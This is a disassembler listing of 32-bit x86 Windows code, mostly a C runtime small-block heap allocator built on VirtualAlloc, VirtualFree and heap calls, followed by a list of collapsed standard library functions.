cmp dword_43AE60, 0FFFFFFFFh
push ebx
push ebp
push esi
push edi
jnz short loc_41F22A
mov esi, offset off_43AE50
jmp short loc_41F247
; ---------------------------------------------------------------------------
loc_41F22A: ; CODE XREF: sub_41F216+Bj
push 2020h
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov esi, eax
test esi, esi
jz loc_41F353
loc_41F247: ; CODE XREF: sub_41F216+12j
mov ebp, ds:dword_427064
push 4
push 2000h
push 400000h
push 0
call ebp ; VirtualAlloc
mov edi, eax
test edi, edi
jz loc_41F33C
push 4
mov ebx, 10000h
push 1000h
push ebx
push edi
call ebp ; VirtualAlloc
test eax, eax
jz loc_41F32E
mov eax, offset off_43AE50
cmp esi, eax
jnz short loc_41F2A6
cmp off_43AE50, 0
jnz short loc_41F296
mov off_43AE50, eax
loc_41F296: ; CODE XREF: sub_41F216+79j
cmp off_43AE54, 0
jnz short loc_41F2BB
mov off_43AE54, eax
jmp short loc_41F2BB
; ---------------------------------------------------------------------------
loc_41F2A6: ; CODE XREF: sub_41F216+70j
mov [esi], eax
mov eax, off_43AE54
mov [esi+4], eax
mov off_43AE54, esi
mov eax, [esi+4]
mov [eax], esi
loc_41F2BB: ; CODE XREF: sub_41F216+87j
; sub_41F216+8Ej
lea eax, [edi+400000h]
lea ecx, [esi+98h]
mov [esi+14h], eax
lea eax, [esi+18h]
mov [esi+0Ch], ecx
mov [esi+10h], edi
mov [esi+8], eax
xor ebp, ebp
mov ecx, 0F1h
loc_41F2DD: ; CODE XREF: sub_41F216+E2j
xor edx, edx
cmp ebp, 10h
setnl dl
dec edx
and edx, ecx
dec edx
inc ebp
mov [eax], edx
mov [eax+4], ecx
add eax, 8
cmp ebp, 400h
jl short loc_41F2DD
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
loc_41F306: ; CODE XREF: sub_41F216+112j
mov eax, [esi+10h]
add eax, ebx
cmp edi, eax
jnb short loc_41F32A
or byte ptr [edi+0F8h], 0FFh
lea eax, [edi+8]
mov [edi], eax
mov dword ptr [edi+4], 0F0h
add edi, 1000h
jmp short loc_41F306
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F216+F7j
mov eax, esi
jmp short loc_41F355
; ---------------------------------------------------------------------------
loc_41F32E: ; CODE XREF: sub_41F216+63j
push 8000h
push 0
push edi
call ds:dword_427068 ; VirtualFree
loc_41F33C: ; CODE XREF: sub_41F216+4Bj
cmp esi, offset off_43AE50
jz short loc_41F353
push esi
push 0
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
loc_41F353: ; CODE XREF: sub_41F216+2Bj
; sub_41F216+12Cj
xor eax, eax
loc_41F355: ; CODE XREF: sub_41F216+116j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F216 endp
; =============== S U B R O U T I N E =======================================
sub_41F35A proc near ; CODE XREF: sub_41F3B0+A5p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 8000h
push 0
push dword ptr [esi+10h]
call ds:dword_427068 ; VirtualFree
cmp off_43CE70, esi
jnz short loc_41F37F
mov eax, [esi+4]
mov off_43CE70, eax
loc_41F37F: ; CODE XREF: sub_41F35A+1Bj
cmp esi, offset off_43AE50
jz short loc_41F3A7
mov eax, [esi+4]
mov ecx, [esi]
push esi
push 0
mov [eax], ecx
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F3A7: ; CODE XREF: sub_41F35A+2Bj
or dword_43AE60, 0FFFFFFFFh
pop esi
retn
sub_41F35A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3B0 proc near ; CODE XREF: sub_41F4C9+3Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, off_43AE54
push edi
loc_41F3BD: ; CODE XREF: sub_41F3B0+B7j
cmp dword ptr [esi+10h], 0FFFFFFFFh
jz loc_41F45B
and [ebp+var_4], 0
lea edi, [esi+2010h]
mov ebx, 3FF000h
loc_41F3D6: ; CODE XREF: sub_41F3B0+72j
cmp dword ptr [edi], 0F0h
jnz short loc_41F417
mov eax, ebx
push 4000h
add eax, [esi+10h]
push 1000h
push eax
call ds:dword_427068 ; VirtualFree
test eax, eax
jz short loc_41F417
or dword ptr [edi], 0FFFFFFFFh
dec dword_4DBE40
mov eax, [esi+0Ch]
test eax, eax
jz short loc_41F40C
cmp eax, edi
jbe short loc_41F40F
loc_41F40C: ; CODE XREF: sub_41F3B0+56j
mov [esi+0Ch], edi
loc_41F40F: ; CODE XREF: sub_41F3B0+5Aj
inc [ebp+var_4]
dec [ebp+arg_0]
jz short loc_41F424
loc_41F417: ; CODE XREF: sub_41F3B0+2Cj
; sub_41F3B0+46j
sub ebx, 1000h
sub edi, 8
test ebx, ebx
jge short loc_41F3D6
loc_41F424: ; CODE XREF: sub_41F3B0+65j
cmp [ebp+var_4], 0
mov ecx, esi
mov esi, [esi+4]
jz short loc_41F45B
cmp dword ptr [ecx+18h], 0FFFFFFFFh
jnz short loc_41F45B
push 1
lea eax, [ecx+20h]
pop edx
loc_41F43B: ; CODE XREF: sub_41F3B0+9Aj
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41F44C
inc edx
add eax, 8
cmp edx, 400h
jl short loc_41F43B
loc_41F44C: ; CODE XREF: sub_41F3B0+8Ej
cmp edx, 400h
jnz short loc_41F45B
push ecx
call sub_41F35A
pop ecx
loc_41F45B: ; CODE XREF: sub_41F3B0+11j
; sub_41F3B0+7Dj ...
cmp esi, off_43AE54
jz short loc_41F46D
cmp [ebp+arg_0], 0
jg loc_41F3BD
loc_41F46D: ; CODE XREF: sub_41F3B0+B1j
pop edi
pop esi
pop ebx
leave
retn
sub_41F3B0 endp
; =============== S U B R O U T I N E =======================================
sub_41F472 proc near ; CODE XREF: sub_41BA91+3Ap
; sub_41BBE2+173p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov edx, offset off_43AE50
push esi
mov ecx, edx
loc_41F47E: ; CODE XREF: sub_41F472+1Cj
cmp eax, [ecx+10h]
jbe short loc_41F488
cmp eax, [ecx+14h]
jb short loc_41F490
loc_41F488: ; CODE XREF: sub_41F472+Fj
mov ecx, [ecx]
cmp ecx, edx
jz short loc_41F4C5
jmp short loc_41F47E
; ---------------------------------------------------------------------------
loc_41F490: ; CODE XREF: sub_41F472+14j
test al, 0Fh
jnz short loc_41F4C5
mov esi, eax
mov edx, 100h
and esi, 0FFFh
cmp esi, edx
jb short loc_41F4C5
mov esi, [esp+4+arg_4]
mov [esi], ecx
mov esi, [esp+4+arg_8]
mov ecx, eax
and cx, 0F000h
sub eax, ecx
mov [esi], ecx
sub eax, edx
pop esi
sar eax, 4
lea eax, [eax+ecx+8]
retn
; ---------------------------------------------------------------------------
loc_41F4C5: ; CODE XREF: sub_41F472+1Aj
; sub_41F472+20j ...
xor eax, eax
pop esi
retn
sub_41F472 endp
; =============== S U B R O U T I N E =======================================
sub_41F4C9 proc near ; CODE XREF: sub_41BA91+4Dp
; sub_41BBE2+1D5p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
sub ecx, [eax+10h]
sar ecx, 0Ch
lea eax, [eax+ecx*8+18h]
mov ecx, [esp+arg_8]
movzx edx, byte ptr [ecx]
add [eax], edx
and byte ptr [ecx], 0
cmp dword ptr [eax], 0F0h
mov dword ptr [eax+4], 0F1h
jnz short locret_41F50D
inc dword_4DBE40
cmp dword_4DBE40, 20h
jnz short locret_41F50D
push 10h
call sub_41F3B0
pop ecx
locret_41F50D: ; CODE XREF: sub_41F4C9+2Bj
; sub_41F4C9+3Aj
retn
sub_41F4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F50E proc near ; CODE XREF: sub_41BBE2+1ACp
; sub_41BEF3+4Ap ...
Val = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, off_43CE70
push edi
loc_41F51C: ; CODE XREF: sub_41F50E+C6j
mov edx, [esi+10h]
cmp edx, 0FFFFFFFFh
jz loc_41F5C7
mov edi, [esi+8]
lea ecx, [esi+2018h]
mov eax, edi
sub eax, esi
sub eax, 18h
sar eax, 3
shl eax, 0Ch
add eax, edx
cmp edi, ecx
mov [ebp+var_4], eax
jnb short loc_41F581
loc_41F547: ; CODE XREF: sub_41F50E+6Fj
mov ecx, [edi]
mov ebx, [ebp+arg_0]
cmp ecx, ebx
jl short loc_41F56A
cmp [edi+4], ebx
jbe short loc_41F56A
push ebx
push ecx
push eax
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov eax, [ebp+var_4]
mov [edi+4], ebx
loc_41F56A: ; CODE XREF: sub_41F50E+40j
; sub_41F50E+45j
add edi, 8
lea ecx, [esi+2018h]
add eax, 1000h
cmp edi, ecx
mov [ebp+var_4], eax
jb short loc_41F547
jmp short loc_41F584
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F50E+37j
mov ebx, [ebp+arg_0]
loc_41F584: ; CODE XREF: sub_41F50E+71j
mov eax, [esi+8]
mov ecx, [esi+10h]
lea edi, [esi+18h]
mov [ebp+Val], eax
cmp edi, eax
mov [ebp+var_4], ecx
jnb short loc_41F5CA
loc_41F597: ; CODE XREF: sub_41F50E+B5j
mov eax, [edi]
cmp eax, ebx
jl short loc_41F5B6
cmp [edi+4], ebx
jbe short loc_41F5B6
push ebx
push eax
push [ebp+var_4]
call sub_41F716
add esp, 0Ch
test eax, eax
jnz short loc_41F5D9
mov [edi+4], ebx
loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj
; sub_41F50E+92j
add [ebp+var_4], 1000h
add edi, 8
cmp edi, [ebp+Val]
jb short loc_41F597
jmp short loc_41F5CA
; ---------------------------------------------------------------------------
loc_41F5C7: ; CODE XREF: sub_41F50E+14j
mov ebx, [ebp+arg_0]
loc_41F5CA: ; CODE XREF: sub_41F50E+87j
; sub_41F50E+B7j
mov esi, [esi]
cmp esi, off_43CE70
jz short loc_41F5E9
jmp loc_41F51C
; ---------------------------------------------------------------------------
loc_41F5D9: ; CODE XREF: sub_41F50E+54j
; sub_41F50E+A3j
mov off_43CE70, esi
sub [edi], ebx
mov [esi+8], edi
jmp loc_41F711
; ---------------------------------------------------------------------------
loc_41F5E9: ; CODE XREF: sub_41F50E+C4j
mov eax, offset off_43AE50
mov edi, eax
loc_41F5F0: ; CODE XREF: sub_41F50E+F8j
cmp dword ptr [edi+10h], 0FFFFFFFFh
jz short loc_41F5FC
cmp dword ptr [edi+0Ch], 0
jnz short loc_41F608
loc_41F5FC: ; CODE XREF: sub_41F50E+E6j
mov edi, [edi]
cmp edi, eax
jz loc_41F6DD
jmp short loc_41F5F0
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F50E+ECj
mov ebx, [edi+0Ch]
and [ebp+var_4], 0
mov esi, ebx
mov eax, ebx
sub esi, edi
sub esi, 18h
sar esi, 3
shl esi, 0Ch
add esi, [edi+10h]
cmp dword ptr [ebx], 0FFFFFFFFh
jnz short loc_41F637
loc_41F626: ; CODE XREF: sub_41F50E+127j
cmp [ebp+var_4], 10h
jge short loc_41F637
add eax, 8
inc [ebp+var_4]
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41F626
loc_41F637: ; CODE XREF: sub_41F50E+116j
; sub_41F50E+11Cj
mov eax, [ebp+var_4]
push 4
shl eax, 0Ch
push 1000h
push eax
push esi
mov [ebp+Val], eax
call ds:dword_427064 ; VirtualAlloc
cmp eax, esi
jnz loc_41F70F
push 0 ; Size
push [ebp+Val] ; Val
push esi ; Dst
call _memset
mov edx, [ebp+var_4]
add esp, 0Ch
test edx, edx
mov ecx, ebx
jle short loc_41F69E
lea eax, [esi+4]
mov [ebp+var_4], edx
loc_41F674: ; CODE XREF: sub_41F50E+18Ej
or byte ptr [eax+0F4h], 0FFh
lea edx, [eax+4]
mov [eax-4], edx
mov edx, 0F0h
mov [eax], edx
mov [ecx], edx
mov dword ptr [ecx+4], 0F1h
add eax, 1000h
add ecx, 8
dec [ebp+var_4]
jnz short loc_41F674
loc_41F69E: ; CODE XREF: sub_41F50E+15Ej
mov off_43CE70, edi
lea eax, [edi+2018h]
loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j
cmp ecx, eax
jnb short loc_41F6BA
cmp dword ptr [ecx], 0FFFFFFFFh
jz short loc_41F6B8
add ecx, 8
jmp short loc_41F6AA
; ---------------------------------------------------------------------------
loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j
cmp ecx, eax
loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej
sbb eax, eax
and eax, ecx
mov [edi+0Ch], eax
mov eax, [ebp+arg_0]
mov [esi+8], al
mov [edi+8], ebx
sub [ebx], eax
sub [esi+4], eax
lea ecx, [esi+eax+8]
lea eax, [esi+100h]
mov [esi], ecx
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F6DD: ; CODE XREF: sub_41F50E+F2j
call sub_41F216
test eax, eax
jz short loc_41F70F
mov ecx, [eax+10h]
mov [ecx+8], bl
lea edx, [ecx+ebx+8]
mov off_43CE70, eax
mov [ecx], edx
mov edx, 0F0h
sub edx, ebx
mov [ecx+4], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+100h]
jmp short loc_41F711
; ---------------------------------------------------------------------------
loc_41F70F: ; CODE XREF: sub_41F50E+143j
; sub_41F50E+1D6j
xor eax, eax
loc_41F711: ; CODE XREF: sub_41F50E+D6j
; sub_41F50E+1CDj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41F50E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap
; sub_41F50E+99p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_8]
push ebx
push esi
mov esi, [ecx+4]
push edi
mov edi, [ecx]
lea ebx, [ecx+0F8h]
cmp esi, edx
mov [ebp+var_4], edi
mov eax, edi
mov [ebp+arg_0], ebx
jb short loc_41F75B
lea eax, [edi+edx]
mov [edi], dl
cmp eax, ebx
jnb short loc_41F74A
add [ecx], edx
sub [ecx+4], edx
jmp short loc_41F753
; ---------------------------------------------------------------------------
loc_41F74A: ; CODE XREF: sub_41F716+2Bj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F753: ; CODE XREF: sub_41F716+32j
lea eax, [edi+8]
jmp loc_41F829
; ---------------------------------------------------------------------------
loc_41F75B: ; CODE XREF: sub_41F716+22j
add esi, edi
cmp byte ptr [esi], 0
jz short loc_41F764
mov eax, esi
loc_41F764: ; CODE XREF: sub_41F716+4Aj
lea esi, [eax+edx]
cmp esi, ebx
jnb short loc_41F7AE
loc_41F76B: ; CODE XREF: sub_41F716+96j
mov bl, [eax]
test bl, bl
jnz short loc_41F7A1
push 1
lea ebx, [eax+1]
pop esi
loc_41F777: ; CODE XREF: sub_41F716+68j
cmp byte ptr [ebx], 0
jnz short loc_41F780
inc ebx
inc esi
jmp short loc_41F777
; ---------------------------------------------------------------------------
loc_41F780: ; CODE XREF: sub_41F716+64j
cmp esi, edx
jnb short loc_41F7D2
cmp eax, [ebp+var_4]
jnz short loc_41F78E
mov [ecx+4], esi
jmp short loc_41F79A
; ---------------------------------------------------------------------------
loc_41F78E: ; CODE XREF: sub_41F716+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_41F833
loc_41F79A: ; CODE XREF: sub_41F716+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41F7A6
; ---------------------------------------------------------------------------
loc_41F7A1: ; CODE XREF: sub_41F716+59j
movzx esi, bl
add eax, esi
loc_41F7A6: ; CODE XREF: sub_41F716+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_41F76B
loc_41F7AE: ; CODE XREF: sub_41F716+53j
lea esi, [ecx+8]
loc_41F7B1: ; CODE XREF: sub_41F716+EBj
; sub_41F716+F2j
cmp esi, edi
jnb short loc_41F833
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_41F833
mov al, [esi]
test al, al
jnz short loc_41F803
push 1
lea ebx, [esi+1]
pop eax
loc_41F7C9: ; CODE XREF: sub_41F716+BAj
cmp byte ptr [ebx], 0
jnz short loc_41F7F3
inc ebx
inc eax
jmp short loc_41F7C9
; ---------------------------------------------------------------------------
loc_41F7D2: ; CODE XREF: sub_41F716+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F7E3
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_41F7EC
; ---------------------------------------------------------------------------
loc_41F7E3: ; CODE XREF: sub_41F716+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_41F7EC: ; CODE XREF: sub_41F716+CBj
mov [eax], dl
add eax, 8
jmp short loc_41F829
; ---------------------------------------------------------------------------
loc_41F7F3: ; CODE XREF: sub_41F716+B6j
cmp eax, edx
jnb short loc_41F80A
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_41F833
mov esi, ebx
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F803: ; CODE XREF: sub_41F716+ABj
movzx eax, al
add esi, eax
jmp short loc_41F7B1
; ---------------------------------------------------------------------------
loc_41F80A: ; CODE XREF: sub_41F716+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_41F81B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41F824
; ---------------------------------------------------------------------------
loc_41F81B: ; CODE XREF: sub_41F716+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41F824: ; CODE XREF: sub_41F716+103j
mov [esi], dl
lea eax, [esi+8]
loc_41F829: ; CODE XREF: sub_41F716+40j
; sub_41F716+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41F835
; ---------------------------------------------------------------------------
loc_41F833: ; CODE XREF: sub_41F716+7Ej
; sub_41F716+9Dj ...
xor eax, eax
loc_41F835: ; CODE XREF: sub_41F716+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41F716 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41F874
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F8D4
; ---------------------------------------------------------------------------
loc_41F874: ; CODE XREF: sub_41F83A+26j
jnb short loc_41F8DB
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F8DB
lea eax, [ecx+edx]
loc_41F889: ; CODE XREF: sub_41F83A+59j
cmp eax, esi
jnb short loc_41F897
cmp byte ptr [eax], 0
jnz short loc_41F895
inc eax
jmp short loc_41F889
; ---------------------------------------------------------------------------
loc_41F895: ; CODE XREF: sub_41F83A+56j
cmp eax, esi
loc_41F897: ; CODE XREF: sub_41F83A+51j
jnz short loc_41F8DB
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F8CF
cmp esi, eax
jbe short loc_41F8CF
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F8C6
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F8C1
loc_41F8BA: ; CODE XREF: sub_41F83A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F8BA
loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej
mov [ebx+4], eax
jmp short loc_41F8CF
; ---------------------------------------------------------------------------
loc_41F8C6: ; CODE XREF: sub_41F83A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F8CF: ; CODE XREF: sub_41F83A+68j
; sub_41F83A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F8D4: ; CODE XREF: sub_41F83A+38j
mov [ebp+var_4], 1
loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j
; sub_41F83A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41F83A endp
; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND]
; [00000170 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND]
; [00000078 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [00000115 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000721 BYTES: COLLAPSED FUNCTION __output. PRESS KEYPAD "+" TO EXPAND]
off_420660 dd offset $NORMAL_STATE$1535 ; DATA XREF: __output+6Er
dd offset loc_41FFB4 ; jump table for switch statement
dd offset loc_41FFCF
dd offset loc_42001B
dd offset loc_420052
dd offset loc_42005A
dd offset loc_42008F
dd offset loc_420122
; [00000035 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND]
; [0000000D BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+" TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND]
; [00000053 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND]
; [00000098 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND]
; [000002B3 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000217 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND]
; [00000088 BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND]
; [000000C1 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND]
; [0000000E BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND]
; [0000000F BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND]
; [0000005A BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND]
; [0000004E BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND]
; [00000018 BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND]
; [0000003E BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND]
; [00000104 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND]
; [000000DE BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND]
; [00000027 BYTES: COLLAPSED FUNCTION __cftoe_g. PRESS KEYPAD "+" TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __cftof_g. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND]
; [00000025 BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND]
; [0000009B BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
; [000001A7 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [000000A8 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND]
; [0000005D BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND]
; [0000009E BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION unknown_libname_4. PRESS KEYPAD "+" TO EXPAND]
; [0000007B BYTES: COLLAPSED FUNCTION CatchIt(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,_s_HandlerType const *,_s_CatchableType const *,_s_TryBlockMapEntry const *,int,EHRegistrationNode *,uchar). PRESS KEYPAD "+" TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_422AC8 proc near ; DATA XREF: .rdata:004278C8o
push dword ptr [ebp-14h] ; struct _EXCEPTION_POINTERS *
call ?ExFilterRethrow@@YAHPAU_EXCEPTION_POINTERS@@@Z ; ExFilterRethrow(_EXCEPTION_POINTERS *)
pop ecx
retn
sub_422AC8 endp
